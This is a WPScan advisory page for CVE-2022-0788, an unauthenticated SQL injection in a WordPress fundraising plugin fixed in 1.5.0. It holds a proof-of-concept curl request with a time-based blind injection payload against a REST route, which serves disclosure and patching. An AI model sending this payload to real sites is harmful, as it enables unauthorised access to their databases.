WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

WP Fundraising Donation and Crowdfunding Platform < 1.5.0 - Unauthenticated SQLi

Description

The plugin does not sanitise and escape a parameter before using it in a SQL statement via one of it's REST route, leading to an SQL injection exploitable by unauthenticated users

Proof of Concept

curl 'https://example.com/index.php?rest_route=/xs-donate-form/payment-redirect/3' \
    --data '{"id": "(SELECT 1 FROM (SELECT(SLEEP(5)))me)", "formid": "1", "type": "online_payment"}' \
    -X GET \
    -H 'Content-Type: application/json'

Affects Plugins

wp-fundraising-donation
Fixed in version 1.5.0

References

CVE
CVE-2022-0788

Classification

Type

SQLI

OWASP top 10
A1: Injection
CWE
CWE-89

Miscellaneous

Original Researcher

cydave

Submitter

cydave

Submitter website
https://cyllective.com/
Submitter twitter
cyllective
Verified

Yes

WPVDB ID
fbc71710-123f-4c61-9796-a6a4fd354828

Timeline

Publicly Published

2022-05-11 (about 10 months ago)

Added

2022-05-11 (about 10 months ago)

Last Updated

2022-07-10 (about 8 months ago)

Our Other Services

WPScan WordPress Security Plugin